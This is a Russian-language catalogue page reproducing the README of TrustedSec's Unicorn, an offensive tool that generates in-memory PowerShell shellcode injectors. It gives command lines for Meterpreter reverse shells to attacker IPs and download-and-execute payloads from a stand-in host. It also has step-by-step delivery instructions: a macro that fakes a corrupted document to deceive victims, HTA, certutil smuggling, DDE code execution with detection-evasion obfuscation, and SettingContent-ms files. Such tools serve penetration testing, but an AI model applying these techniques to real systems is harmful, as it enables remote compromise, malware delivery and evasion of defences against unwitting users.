Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
unicorn — Unicorn — это простой инструмент для выполнения атаки понижения версии PowerShell и внедрения shellcode напрямую в память. Основан на атаках PowerShell Мэттью Грэбера и технике обхода PowerShell, представленной Дэвидом Кеннеди (TrustedSec) и Джошем Келли на Defcon 18. | Kitploit
Инструменты/GitHubGitHub/trustedsec/unicorn
Инструменты фишингаФреймворки для эксплойтовГенерация полезной нагрузкиОбход IDS/IPSШелл-кодЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеСоциальная инженерияРазработка Полезной Нагрузки
GitHubtrustedsec/unicorn
3.9k8232 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

unicorn

Unicorn — это простой инструмент для выполнения атаки понижения версии PowerShell и внедрения shellcode напрямую в память. Основан на атаках PowerShell Мэттью Грэбера и технике обхода PowerShell, представленной Дэвидом Кеннеди (TrustedSec) и Джошем Келли на Defcon 18.

РепозиторийСайт

unicorn

Автор: Dave Kennedy (@HackingDave) Веб-сайт: https://www.trustedsec.com

Magic Unicorn — это простой инструмент для использования атаки понижения версии PowerShell и инъекции шелл-кода напрямую в память. Основан на атаках PowerShell Мэттью Грейбера и технике обхода PowerShell, представленной Дэвидом Кеннеди (TrustedSec) и Джошем Келли на Defcon 18.

Использование простое: просто запустите Magic Unicorn (убедитесь, что Metasploit установлен, если используются методы Metasploit, и находится в правильном пути) и Magic Unicorn автоматически сгенерирует команду PowerShell, которую вам останется только скопировать и вставить в окно командной строки или через систему доставки полезной нагрузки. Unicorn поддерживает собственный шелл-код, Cobalt Strike и Metasploit.

root@kitploit:~
root@rel1k:~/Desktop# python unicorn.py 

                                                         ,/
                                                        //
                                                      ,//
                                          ___   /|   |//
                                      `__/\_ --(/|___/-/
                                   \|\_-\___ __-_`- /-/ \.
                                  |\_-___,-\_____--/_)' ) \
                                   \ -_ /     __ \( `( __`\|
                                   `\__|      |\)\ ) /(/|
           ,._____.,            ',--//-|      \  |  '   /
          /     __. \,          / /,---|       \       /
         / /    _. \  \        `/`_/ _,'        |     |
        |  | ( (  \   |      ,/\'__/'/          |     |
        |  \  \`--, `_/_------______/           \(   )/
        | | \  \_. \,                            \___/\
        | |  \_   \  \                                 \
        \ \    \_ \   \   /                             \
         \ \  \._  \__ \_|       |                       \
          \ \___  \      \       |                        \
           \__ \__ \  \_ |       \                         |
           |  \_____ \  ____      |                        |
           | \  \__ ---' .__\     |        |               |
           \  \__ ---   /   )     |        \              /
            \   \____/ / ()(      \          `---_       /|
             \__________/(,--__    \_________.    |    ./ |
               |     \ \  `---_\--,           \   \_,./   |
               |      \  \_ ` \    /`---_______-\   \\    /
                \      \.___,`|   /              \   \\   \
                 \     |  \_ \|   \              (   |:    |
                  \    \      \    |             /  / |    ;
                   \    \      \    \          ( `_'   \  |
                    \.   \      \.   \          `__/   |  |
                      \   \       \.  \                |  |
                       \   \        \  \               (  )
                        \   |        \  |              |  |
                         |  \         \ \              I  `
                         ( __;        ( _;            ('-_';
                         |___\        \___:            \___:


aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=

                
-------------------- Magic Unicorn Attack Vector -----------------------------

Вектор атаки с инъекцией PowerShell для x86 на любой платформе Windows.
Автор: Dave Kennedy из TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Благодарности: Matthew Graeber, Justin Elze, Chris Gates

Счастливые магические единороги.

Использование: python unicorn.py полезная_нагрузка reverse_ipaddr порт <необязательно hta или macro, crt>
Пример PS: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Пример Macro: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Пример Macro CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Пример Macro Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
Пример HTA: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
Пример HTA CS: python unicorn.py <cobalt_strike_file.cs> cs hta
Пример HTA Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
Пример DDE: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
Пример CRT: python unicorn.py <path_to_payload/exe_encode> crt
Пример пользовательского PS1: python unicorn.py <путь к ps1 файлу>
Пример пользовательского PS1: python unicorn.py <путь к ps1 файлу> macro 500
Пример Cobalt Strike: python unicorn.py <cobalt_strike_file.cs> cs (экспорт CS в формате C#)
Пример пользовательского шелл-кода: python unicorn.py <path_to_shellcode.txt> shellcode (форматировано 0x00)
Меню помощи: python unicorn.py --help

-----ИНСТРУКЦИИ ПО АТАКЕ POWERSHELL----

Всё теперь генерируется в двух файлах: powershell_attack.txt и unicorn.rc. Текстовый файл содержит весь код, необходимый для инъекции атаки PowerShell в память. Обратите внимание, что вам понадобится место, поддерживающее удалённое выполнение команд. Часто это может быть через документ Excel/Word, или через psexec_commands внутри Metasploit, SQLi и т.д. Существует множество возможностей и сценариев использования этой атаки. Просто вставьте команду из powershell_attack.txt в любое окно командной строки или туда, где у вас есть возможность вызвать исполняемый файл PowerShell, и вы получите обратный шелл. Эта атака также поддерживает windows/download_exec в качестве метода полезной нагрузки вместо только полезных нагрузок Meterpreter. При использовании download и exec просто введите python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe, и код PowerShell загрузит и выполнит полезную нагрузку.

Обратите внимание, что вам нужно будет включить слушатель для захвата атаки.

-----ИНСТРУКЦИИ ПО АТАКЕ MACRO----

Для атаки через макрос вам нужно зайти в Файл, Свойства, Ленты и выбрать "Разработчик". После этого у вас появится вкладка "Разработчик". Создайте новый макрос, назовите его Auto_Open и вставьте сгенерированный код в него. Это автоматически запустится. Обратите внимание, что пользователю будет показано сообщение о том, что файл повреждён, и документ Excel автоматически закроется. ЭТО НОРМАЛЬНОЕ ПОВЕДЕНИЕ! Это обманывает жертву, заставляя думать, что документ Excel повреждён. После этого вы должны получить шелл через инъекцию PowerShell.

Если вы развёртываете это против Office365/2016+ версий Word, вам нужно изменить первую строку вывода с: Sub Auto_Open()

На: Sub AutoOpen()

Название самого макроса также должно быть "AutoOpen" вместо устаревшего "Auto_Open".

ПРИМЕЧАНИЕ: ПРИ КОПИРОВАНИИ И ВСТАВКЕ В EXCEL, ЕСЛИ ДОБАВЛЯЮТСЯ ДОПОЛНИТЕЛЬНЫЕ ПРОБЕЛЫ, ВАМ НУЖНО УДАЛИТЬ ИХ ПОСЛЕ КАЖДОГО ИЗ РАЗДЕЛОВ КОДА POWERSHELL ПОД ПЕРЕМЕННОЙ "x", ИНАЧЕ ПРОИЗОЙДЁТ СИНТАКСИЧЕСКАЯ ОШИБКА!

-----ИНСТРУКЦИИ ПО АТАКЕ HTA----

Атака HTA автоматически сгенерирует два файла: первый — index.html, который указывает браузеру использовать Launcher.hta, содержащий вредоносный код инъекции PowerShell. Все файлы экспортируются в папку hta_access/, и будет три основных файла. Первый — index.html, второй — Launcher.hta и последний — файл unicorn.rc. Вы можете запустить msfconsole -r unicorn.rc для запуска слушателя для Metasploit.

Пользователь должен нажать "Разрешить" и принять при использовании атаки HTA, чтобы инъекция PowerShell сработала правильно.

-----ИНСТРУКЦИИ ПО АТАКЕ CERTUTIL----

Вектор атаки certutil был обнаружен Мэттью Грейбером (@mattifestation), который позволяет взять двоичный файл, преобразовать его в формат base64 и с помощью certutil на машине жертвы преобразовать обратно в двоичный файл. Это должно работать практически на любой системе и позволяет передать двоичный файл на машину жертвы через поддельный сертификат. Чтобы использовать эту атаку, просто поместите исполняемый файл в каталог Unicorn и запустите python unicorn.py <имя_файла.exe> crt, чтобы получить вывод base64. После завершения перейдите в папку decode_attack/, которая содержит файлы. Файл .bat — это команда, которую можно запустить на машине Windows для преобразования обратно в двоичный файл.

-----ИНСТРУКЦИИ ПО АТАКЕ С ПОЛЬЗОВАТЕЛЬСКИМ PS1----

Этот метод атаки позволяет преобразовать любой файл PowerShell (.ps1) в закодированную команду или макрос.

Обратите внимание: если выбран вариант макроса, большой файл ps1 может превысить количество символов возврата каретки, допустимое в VBA. Вы можете изменить количество символов в каждой строке VBA, передав целое число в качестве параметра.

Примеры:

root@kitploit:~
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500

Последний пример использует строку из 500 символов вместо стандартных 380, что приводит к меньшему количеству возвратов каретки в VBA.

-----ИНСТРУКЦИИ ПО АТАКЕ DDE Office COM----

Этот вектор атаки сгенерирует формулу DDEAUTO для вставки в Word или Excel. COM-объекты DDEInitilize и DDEExecute позволяют создавать формулы непосредственно в Office, что даёт возможность получить удалённое выполнение кода без использования макросов. Эта атака была задокументирована, и полные инструкции можно найти по адресу:

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

Чтобы использовать эту атаку, выполните следующие примеры:

root@kitploit:~
python unicorn.py <полезная_нагрузка> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde

После генерации будет создан файл powershell_attack.txt, содержащий код Office, и файл unicorn.rc, который является компонентом слушателя и может быть вызван командой msfconsole -r unicorn.rc для обработки слушателя полезной нагрузки. Кроме того, будет экспортирован файл download.ps1 (объяснено в следующем разделе).

Чтобы применить полезную нагрузку, например (из статьи sensepost):

  1. Откройте Word
  2. Вкладка "Вставка" -> "Экспресс-блоки" -> "Поле"
  3. Выберите = (Формула) и нажмите "ОК".
  4. После вставки поля вы должны увидеть "!Unexpected End of Formula"
  5. Щёлкните правой кнопкой мыши по полю, выберите "Коды полей"
  6. Вставьте код из Unicorn
  7. Сохраните документ Word.

После открытия документа Office вы должны получить шелл через инъекцию PowerShell. Обратите внимание, что DDE ограничен по размеру символов, и нам нужно использовать Invoke-Expression (IEX) в качестве метода загрузки.

Атака DDE попытается загрузить download.ps1, который является нашей атакой инъекции PowerShell, поскольку мы ограничены по размеру. Вам нужно будет переместить download.ps1 в место, доступное для машины жертвы. Это означает, что вам нужно разместить download.ps1 в каталоге Apache2, к которому у неё есть доступ.

Вы можете заметить, что некоторые команды используют "{ QUOTE" — это способы маскировки определённых команд, что задокументировано здесь: http://staaldraad.github.io/2017/10/23/msword-field-codes/. В данном случае мы изменяем WindowsPowerShell, powershell.exe и IEX, чтобы избежать обнаружения. Также ознакомьтесь с этим URL, так как там есть отличные методы отказа от использования DDE вообще.

-----ИМПОРТ BEACON COBALT STRIKE----

Этот метод импортирует шелл-код Beacon Cobalt Strike напрямую из Cobalt Strike.

В Cobalt Strike экспортируйте "CS" (C#) экспорт Cobalt Strike и сохраните его в файл. Например, назовите файл cobalt_strike_file.cs.

Экспортированный код будет выглядеть примерно так:

  • length: 836 bytes */ byte[] buf = new byte[836] { 0xfc, etc

Далее для использования:

root@kitploit:~
python unicorn.py cobalt_strike_file.cs cs

Аргумент cs указывает Unicorn, что вы хотите использовать функциональность Cobalt Strike. Остальное — магия.

Затем просто скопируйте команду PowerShell туда, где у вас есть возможность удалённого выполнения команд.

ПРИМЕЧАНИЕ: ФАЙЛ ДОЛЖЕН БЫТЬ ЭКСПОРТИРОВАН В ФОРМАТЕ C# (CS) В COBALT STRIKE ДЛЯ ПРАВИЛЬНОГО РАЗБОРА.

С этой атакой есть некоторые оговорки. Обратите внимание, что размер полезной нагрузки будет чуть более 14 Кбайт. Это означает, что с точки зрения аргумента командной строки, если вы копируете и вставляете, вы столкнётесь с ограничением в 8191 символ (жёстко задано в cmd.exe). Если вы запускаете непосредственно из cmd.exe, это проблема, однако если вы запускаете непосредственно из PowerShell или других обычных приложений, это не проблема.

Несколько примеров: wscript.shell и powershell используют USHORT - 65535 / 2 = 32767 предел размера:

root@kitploit:~
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;

Для этой атаки, если вы запускаете непосредственно из PowerShell, VBSCript (WSCRIPT.SHELL), проблем нет.

-----МЕТОД ГЕНЕРАЦИИ ПОЛЬЗОВАТЕЛЬСКОГО ШЕЛЛ-КОДА----

Этот метод позволит вам вставить свой собственный шелл-код в атаку Unicorn. Код PowerShell увеличит размер стека powershell.exe (через VirtualAlloc) и внедрит его в память.

Обратите внимание: для работы ваш текстовый файл, на который вы указываете Unicorn, должен быть отформатирован в следующем формате, иначе он не будет работать:

0x00,0x00,0x00 и так далее.

Также обратите внимание на ограничения по размеру. Общая длина команды PowerShell не может превышать 8191 символ. Это максимальный размер аргумента командной строки в Windows.

Использование:

root@kitploit:~
python unicorn.py shellcode_formatted_properly.txt shellcode

Затем просто скопируйте команду PowerShell туда, где у вас есть возможность удалённого выполнения команд.

ПРИМЕЧАНИЕ: ФАЙЛ ДОЛЖЕН БЫТЬ ПРАВИЛЬНО ОТФОРМАТИРОВАН В ФОРМАТЕ 0x00,0x00,0x00 БЕЗ НИЧЕГО, КРОМЕ ВАШЕГО ШЕЛЛ-КОДА В ТЕКСТОВОМ ФАЙЛЕ.

С этой атакой есть некоторые оговорки. Обратите внимание, что если размер вашей полезной нагрузки велик, она не поместится в cmd.exe. Это означает, что с точки зрения аргумента командной строки, если вы копируете и вставляете, вы столкнётесь с ограничением в 8191 символ (жёстко задано в cmd.exe). Если вы запускаете непосредственно из cmd.exe, это проблема, однако если вы запускаете непосредственно из PowerShell или других обычных приложений, это не проблема.

Несколько примеров: wscript.shell и powershell используют USHORT - 65535 / 2 = 32767 предел размера:

root@kitploit:~
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;

Для этой атаки, если вы запускаете непосредственно из PowerShell, VBSCript (WSCRIPT.SHELL), проблем нет.

-----МЕТОД РАСШИРЕНИЯ SettingContent-ms----

Во-первых, если у вас ещё не было возможности, загляните в потрясающий блог SpectreOps от Мэтта Нельсона (enigma0x3):

https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39

Этот метод использует специальный тип файла ".SettingContent-ms", который позволяет как прямую загрузку из браузера (открытие + выполнение команды), так и через расширение при встраивании в продукты Office. Этот конкретный метод будет сосредоточен на настройках расширения для выполнения команд через вектор атаки PowerShell Unicorn.

С этим вектором атаки поддерживаются несколько методов. Поскольку размер символов ограничен, метод развёртывания — HTA.

Для подробного понимания вооружения этой атаки посетите:

https://www.trustedsec.com/2018/06/weaponizing-settingcontent/

Шаги, которые вам нужно выполнить для завершения этой атаки: сгенерируйте ваш файл .SettingContent-ms либо из автономного режима, либо из HTA. Метод HTA поддерживает атаки Metasploit, Cobalt Strike и прямого шелл-кода.

Четыре метода использования:

HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA Пример SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
HTA Пример SettingContent-ms: python unicorn.py <path_to_shellcode.txt>: shellcode ms
Сгенерировать .SettingContent-ms: python unicorn.py ms

Первая — полезная нагрузка Metasploit, вторая — Cobalt Strike, третья — ваш собственный шелл-код, а четвёртая — просто пустой файл .SettingContent-ms.

Когда всё сгенерировано, будет экспортирован файл с именем Standalone_NoASR.SettingContent-ms либо в корневой каталог Unicorn (если используется автономная генерация файла), либо в папку hta_attack/. Вам нужно будет отредактировать файл Standalone_NoASR.SettingContent-ms и заменить:

REPLACECOOLSTUFFHERE

На:

mshta http://<ip_или_dns_имя_сервера_apache>/Launcher.hta.

Затем переместите содержимое hta_attack в /var/www/html.

Как только жертва щёлкнет по файлу .SettingContent-ms, на машине жертвы будет вызван mshta, который затем загрузит файл HTA Unicorn с возможностями выполнения кода.

Особая благодарность и признательность Мэтту Нельсону за отличное исследование

Также посмотрите: https://www.trustedsec.com/2018/06/weaponizing-settingcontent/

Использование:

root@kitploit:~
python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
python unicorn.py <cobalt_strike_file.cs cs ms
python unicorn.py <patth_to_shellcode.txt>: shellcode ms
python unicorn.py ms
Скачать инструмент